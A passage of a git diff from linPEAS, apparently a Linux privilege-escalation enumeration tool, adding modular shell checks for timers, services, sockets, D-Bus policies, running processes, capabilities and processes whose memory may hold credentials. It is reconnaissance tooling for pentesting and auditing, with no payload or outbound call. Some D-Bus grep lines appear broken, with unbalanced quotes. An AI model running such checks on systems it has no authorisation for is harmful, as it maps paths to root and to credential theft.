]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi - - userpol=$(grep "/dev/null | grep -v "root") - if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi - #for g in `groups`; do - # if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi - #done - grppol=$(grep "/dev/null | grep -v "root") - if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi - - #TODO: identify allows in context="default" - done - done -fi -echo "" - -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "D-Bus Service Objects list" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" - dbuslist=$(busctl list 2>/dev/null) - if [ "$dbuslist" ]; then - busctl list | while read line; do - echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; - if ! echo "$line" | grep -qE "$dbuslistG"; then - srvc_object=$(echo $line | cut -d " " -f1) - srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') - if [ "$srvc_object_info" ]; then - echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," - fi - fi - done - else echo_not_found "busctl" - fi -fi diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_System_timers.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_System_timers.sh new file mode 100644 index 0000000..d385d73 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_System_timers.sh @@ -0,0 +1,21 @@ +# Title: Processes & Cron & Services & Timers - System Timers +# ID: PR_System_timers +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: System Timers +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $SEARCH_IN_FOLDER, $timersG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "System timers" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" + (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Timer_files.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Timer_files.sh new file mode 100644 index 0000000..b9391bc --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Timer_files.sh @@ -0,0 +1,33 @@ +# Title: Processes & Cron & Services & Timers - .timer files +# ID: PR_Timer_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: .timer files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $timerbinpaths, $relpath +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Analyzing .timer files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" +printf "%s\n" "$PSTORAGE_TIMER" | while read t; do + if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "$t" | sed -${E} "s,.*,${SED_RED},g" + fi + timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) + printf "%s\n" "$timerbinpaths" | while read tb; do + if [ -w "$tb" ]; then + echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g" + fi + done + #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`" + #for rp in "$relpath"; do + # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g" + #done +done +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Services.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Services.sh new file mode 100644 index 0000000..b792a59 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Services.sh @@ -0,0 +1,23 @@ +# Title: Processes & Cron & Services & Timers - Services +# ID: PR_Services +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Services outdated versions +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $EXTRA_CHECKS, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$EXTRA_CHECKS" ]; then + print_2title "Services" + print_info "Search for outdated versions" + (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Service_files.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Service_files.sh new file mode 100644 index 0000000..b2103f9 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Service_files.sh @@ -0,0 +1,42 @@ +# Title: Processes & Cron & Services & Timers - Analyzing .service files +# ID: PR_Service_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Analyze .service files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $WRITABLESYSTEMDPATH +# Initial Functions: +# Generated Global Variables: $relpath1, $relpath2, $servicebinpaths +# Fat linpeas: 0 +# Small linpeas: 0 + + +#TODO: .service files in MACOS are folders +print_2title "Analyzing .service files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" +printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do + if [ ! -O "" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths + printf "%s\n" "$servicebinpaths" | while read sp; do + if [ -w "$sp" ]; then + echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g" + fi + done + relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/") + relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null) + if [ "$relpath1" ] || [ "$relpath2" ]; then + if [ "$WRITABLESYSTEMDPATH" ]; then + echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},"; + else + echo "$s could be executing some relative path" + fi + fi + fi +done +if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_Socket_files.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_Socket_files.sh new file mode 100644 index 0000000..f003d51 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_Socket_files.sh @@ -0,0 +1,38 @@ +# Title: Processes & Cron & Services & Timers - .socket files +# ID: PR_Socket_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: .socket files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $socketsbinpaths, $socketslistpaths +# Fat linpeas: 0 +# Small linpeas: 0 + + +#TODO: .socket files in MACOS are folders +if ! [ "$IAMROOT" ]; then + print_2title "Analyzing .socket files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" + fi + socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') + printf "%s\n" "$socketsbinpaths" | while read sb; do + if [ -w "$sb" ]; then + echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g" + fi + done + socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') + printf "%s\n" "$socketslistpaths" | while read sl; do + if [ -w "$sl" ]; then + echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g"; + fi + done + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Unix_sockets_listening.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Unix_sockets_listening.sh new file mode 100644 index 0000000..278a485 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Unix_sockets_listening.sh @@ -0,0 +1,72 @@ +# Title: Processes & Cron & Services & Timers - Unix Sockets Listening +# ID: PR_Unix_sockets_listening +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Unix Sockets Listening +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $EXTRA_CHECKS, $groupsB, $groupsVB, $IAMROOT, $idB, $knw_grps, $knw_usrs, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: $unix_scks_list, $unix_scks_list2, $unix_scks_list3, $perms, $socketcurl, $owner, $CANNOT_CONNECT_TO_SOCKET +# Fat linpeas: 0 +# Small linpeas: 0 + + +#TODO: .socket files in MACOS are folders +if ! [ "$IAMROOT" ]; then + if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unix Sockets Listening" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + # Search sockets using netstat and ss + unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") + fi + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + fi + unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/") + fi + + if ! [ "$SEARCH_IN_FOLDER" ]; then + # But also search socket files + unix_scks_list2=$(find / -type s 2>/dev/null) + else + unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null) + fi + + # Detele repeated dockets and check permissions + (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do + perms="" + if [ -r "$l" ]; then + perms="Read " + fi + if [ -w "$l" ];then + perms="${perms}Write" + fi + + if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl || echo -n '')" ]; then + CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')" + if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then + perms="${perms} - Can Connect" + else + perms="${perms} - Cannot Connect" + fi + fi + + if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; + else + echo "$l" | sed -${E} "s,$l,${SED_RED},g" + echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" + # Try to contact the socket + socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) + if [ $? -eq 0 ]; then + owner=$(ls -l "$s" | cut -d ' ' -f 3) + echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" + echo "$socketcurl" | head -n 30 + fi + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_DBus_service_objects_list.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_DBus_service_objects_list.sh new file mode 100644 index 0000000..1d530ab --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_DBus_service_objects_list.sh @@ -0,0 +1,33 @@ +# Title: Processes & Cron & Services & Timers - D-Bus Service Objects list +# ID: PR_DBus_service_objects_list +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate D-Bus Service Objects list +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $dbuslistG, $knw_usrs, $nosh_usrs, $rootcommon, $SEARCH_IN_FOLDER, $USER +# Initial Functions: +# Generated Global Variables: $dbuslist, $srvc_object, $srvc_object_info +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "D-Bus Service Objects list" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" + dbuslist=$(busctl list 2>/dev/null) + if [ "$dbuslist" ]; then + busctl list | while read l; do + echo "$l" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; + if ! echo "$l" | grep -qE "$dbuslistG"; then + srvc_object=$(echo $l | cut -d " " -f1) + srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') + if [ "$srvc_object_info" ]; then + echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," + fi + fi + done + else echo_not_found "busctl" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_DBus_config_files.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_DBus_config_files.sh new file mode 100644 index 0000000..db3b5c1 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_DBus_config_files.sh @@ -0,0 +1,40 @@ +# Title: Processes & Cron & Services & Timers - D-Bus config files +# ID: PR_DBus_config_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate D-Bus config files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $mygroups, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: $genpol, $userpol, $grppol +# Fat linpeas: 0 +# Small linpeas: 0 + +print_2title "D-Bus config files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" +if [ "$PSTORAGE_DBUS" ]; then + printf "%s\n" "$PSTORAGE_DBUS" | while read d; do + for f in $d/*; do + if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" + fi + + genpol=$(grep "" "$f" 2>/dev/null) + if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + #if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi + + userpol=$(grep "/dev/null | grep -v "root") + if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + #for g in `groups`; do + # if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi + #done + grppol=$(grep "/dev/null | grep -v "root") + if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + + #TODO: identify allows in context="default" + done + done +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh new file mode 100644 index 0000000..f7ab651 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh @@ -0,0 +1,46 @@ +# Title: Processes & Cron & Services & Timers - List proccesses +# ID: PR_List_processes +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: List running proccesses removing the ones that aren't interesting +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info, print_ps +# Global Variables: $capsB, $knw_usrs, $nosh_usrs, $NOUSEPS, $processesB, $processesDump, $processesVB, $rootcommon, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders +# Initial Functions: +# Generated Global Variables: $pslist, $cpid, $caphex, $psline +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Running processes (cleaned)" + + if [ "$NOUSEPS" ]; then + printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + fi + print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + + if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then + echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" + fi + + if [ "$NOUSEPS" ]; then + print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + pslist=$(print_ps) + else + (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do + echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + if [ "$(command -v capsh || echo -n '')" ] && ! echo "$psline" | grep -q root; then + cpid=$(echo "$psline" | awk '{print $2}') + caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" + if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then + printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + fi + fi + done + pslist=$(ps auxwww) + echo "" + fi + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh new file mode 100644 index 0000000..65b3288 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh @@ -0,0 +1,26 @@ +# Title: Processes & Cron & Services & Timers - Processes with credentials inside memory +# ID: PR_Process_cred_in_memory +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Processes with credentials inside memory +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $pslist, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Processes with credentials in memory (root req)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" + if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi + if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi + if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi + if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi + if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi + if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh new file mode 100644 index 0000000..4154ce1 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh @@ -0,0 +1,29 @@ +# Title: Processes & Cron & Services & Timers - Process binaries permissions +# ID: PR_Process_binaries_perms +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check the permissions of the binaries of the running processes +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $knw_usrs, $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders +# Initial Functions: +# Generated Global Variables: $binW, $bpath +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$NOUSEPS" ]; then + print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + binW="IniTialiZZinnggg" + ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do + if [ -w "$bpath" ]; then + binW="$binW|$bpath" + fi + done + ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh new file mode 100644 index 0000000..03c33f6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh @@ -0,0 +1,36 @@ +# Title: Processes & Cron & Services & Timers - Process opened by other users +# ID: PR_Processes_PPID_different_user +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Processes whose PPID belongs to a different user (not root) +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: $ppid_user, $pid, $ppid, $user +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then + print_2title "Processes whose PPID belongs to a different user (not root)" + print_info "You will know if a user can somehow spawn processes as a different user" + + # Function to get user by PID + get_user_by_pid() { + ps -p "$1" -o user | grep -v "USER" + } + + # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user + ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do + if [ "$ppid" = "0" ]; then + continue + fi + ppid_user=$(get_user_by_pid "$ppid") + if echo "$user" | grep -Eqv "$ppid_user|root$"; then + echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh new file mode 100644 index 0000000..69fc69c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh @@ -0,0 +1,23 @@ +# Title: Processes & Cron & Services & Timers - Files opened by processes belonging to other users +# ID: PR_Files_open_process_other_user +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Files opened by processes belonging to other users +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if ! [ "$IAMROOT" ]; then + print_2title "Files opened by processes belonging to other users" + print_info "This is usually empty because of the lack of privileges to read other user processes information" + lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh new file mode 100644 index 0000000..5a03564 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh @@ -0,0 +1,30 @@ +# Title: Processes & Cron & Services & Timers - Different processes 1 min +# ID: PR_Different_procs_1min +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Different processes executed during 1 min +# License: 